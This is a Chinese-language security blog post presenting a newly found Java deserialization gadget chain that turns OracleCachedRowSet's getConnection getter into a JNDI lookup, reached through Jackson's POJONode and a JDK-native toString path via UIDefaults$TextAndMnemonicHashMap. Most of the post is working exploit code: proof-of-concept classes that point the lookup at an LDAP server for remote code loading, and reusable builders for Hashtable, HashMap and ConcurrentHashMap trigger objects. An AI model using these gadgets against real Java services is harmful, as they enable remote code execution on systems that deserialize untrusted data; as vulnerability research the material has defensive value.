新jdk原生入口到jndi

首发先知 https://xz.aliyun.com/t/14732

0x01 起因

​ tj哥在调试某1day时,想找其他的触发点,最后找到了oracle数据库的jndi。

0x02 分析

OracleCachedRowSet#getConnectionInternal

image-20240603204410886

这里直接new了一个InitialContextimage-20240523154007471

image-20240523154030734

然后进行了lookup,然后触发。

oracle.jdbc.rowset.OracleRowSet#getDataSourceName

image-20240523154110189

可以看到是直接获取这个属性。可控。

image-20240726114157046

抽象类,可序列化

image-20240523154307368

oracle.jdbc.rowset.OracleCachedRowSet#getConnection 这个方法直接调用。

那种想到需要触发OracleCachedRowSet的getter()方法就能触发。

0x03 复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import oracle.jdbc.rowset.OracleCachedRowSet;

import java.lang.reflect.Field;

public class Oracle {
public static void main(String[] args) throws Exception{
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();


// Field dataSourceName_1 = OracleCachedRowSet.class.getSuperclass().getDeclaredField("dataSourceName"); dataSourceName_1.setAccessible(true); dataSourceName_1.set(oracleCachedRowSet, "ldap://127.0.0.1:4444/dc=example,dc=com");
oracleCachedRowSet.setDataSourceName("ldap://127.0.0.1:1389/remoteExploit8");
oracleCachedRowSet.getConnection();
}
}

image-20240726114207978

日常jndi招呼计算器。

0x04 gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package test;

import javax.management.BadAttributeValueExpException;

import java.lang.reflect.Field;
import java.util.Vector;

public class Oracle {
public static void main(String[] args) throws Exception {
try {
ClassPool pool1 = ClassPool.getDefault();
CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}

OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();

Field dataSourceName_1 = OracleCachedRowSet.class.getSuperclass().getDeclaredField("dataSourceName");
dataSourceName_1.setAccessible(true);
dataSourceName_1.set(oracleCachedRowSet, "ldap://127.0.0.1:1389/remoteExploit8");
Vector v1 = new Vector();
v1.add(0, "111");
Vector v2 = new Vector();
v2.add(0, "222");
utils.setFieldValue(oracleCachedRowSet, "metaData", new String[]{"111", "222"});
utils.setFieldValue(oracleCachedRowSet, "matchColumnNames", v1);
utils.setFieldValue(oracleCachedRowSet, "matchColumnIndexes", v2);
utils.setFieldValue(oracleCachedRowSet, "monitorLock", null);

POJONode node = new POJONode(oracleCachedRowSet);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
utils.setFieldValue(badAttributeValueExpException, "val", node);
byte[] serialize = utils.serialize(badAttributeValueExpException);
utils.unserialize(serialize);

}
}

image-20240523170745040

招呼计算器成功

0x05 jdk原生gadget

​ 那要是常见触发tostring的类(若badAttributeValueExpException)被搬掉了,没别的依赖。

所以现在需要找一条新的tostring。

javax.swing.UIDefaults.TextAndMnemonicHashMap

image-20240726114221015

可以看到是map,然后调用了key的tostring,非常完美。

java.util.AbstractMap#equals

image-20240521204924499

m是一个map,改成javax.swing.UIDefaults.TextAndMnemonicHashMap就可以走通,非常合理,java.util.AbstractMap是一个抽象类,所以我们只要找一个继承它又没有实现equals的方法就行了,感觉非常多了,haspmap,hashtable都可以。

hashtable触发tostring

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static Hashtable makeTableTstring(Object o) throws Exception{
Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
tHashMap1.put(o,"Unam4");
tHashMap2.put(o,"SpringKill");
setFieldValue(tHashMap1,"loadFactor",1);
setFieldValue(tHashMap2,"loadFactor",1);

Hashtable hashtable = new Hashtable();
hashtable.put(tHashMap1,"Unam4");
hashtable.put(tHashMap2,"SpringKill");

tHashMap1.put(o, null);
tHashMap2.put(o, null);
return hashtable;
}

hashmap触发tostring

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static HashMap maskmapToString(Object o1, Object o2) throws Exception{
Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
tHashMap1.put(o1,null);
tHashMap2.put(o2,null);
setFieldValue(tHashMap1,"loadFactor",1);
setFieldValue(tHashMap2,"loadFactor",1);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, tHashMap1, null, null);
Object node2 = constructor.newInstance(0, tHashMap2, null, null);
utils.setFieldValue(hashMap, "size", 2);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
utils.setFieldValue(hashMap, "table", arr);
return hashMap;
}

Hashtable触发equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static Hashtable makeTable(Object o, Object o2) throws Exception{

Hashtable hashtable = new Hashtable();
utils.setFieldValue(hashtable,"count",2);
Class<?> nodeC;
nodeC = Class.forName("java.util.Hashtable$Entry");

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, o, "Unam4", null));
Array.set(tbl, 1, nodeCons.newInstance(0, o2, "Springkill", null));
utils.setFieldValue(hashtable, "table", tbl);
return hashtable;
}

HashMap 触发equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static HashMap<Object, Object> makeMap(Object o, Object o2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
utils.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, o, "key1", null));
Array.set(tbl, 1, nodeCons.newInstance(0, o2, "key2", null));
utils.setFieldValue(s, "table", tbl);
return s;
}

ConcurrentHashMap触发equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static ConcurrentHashMap<Object, Object> makeConcurrentMap(Object o, Object o2) throws Exception {
ConcurrentHashMap<Object, Object> s = new ConcurrentHashMap<>();
utils.setFieldValue(s, "sizeCtl", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, o, "zZ", null));
Array.set(tbl, 1, nodeCons.newInstance(0, o2, "yy", null));
utils.setFieldValue(s, "table", tbl);
return s;
}

新jdk原生入口到jndi
https://unam4.github.io/2024/06/03/新jdk原生入口到jndi/
作者
unam4
发布于
2024年6月3日
许可协议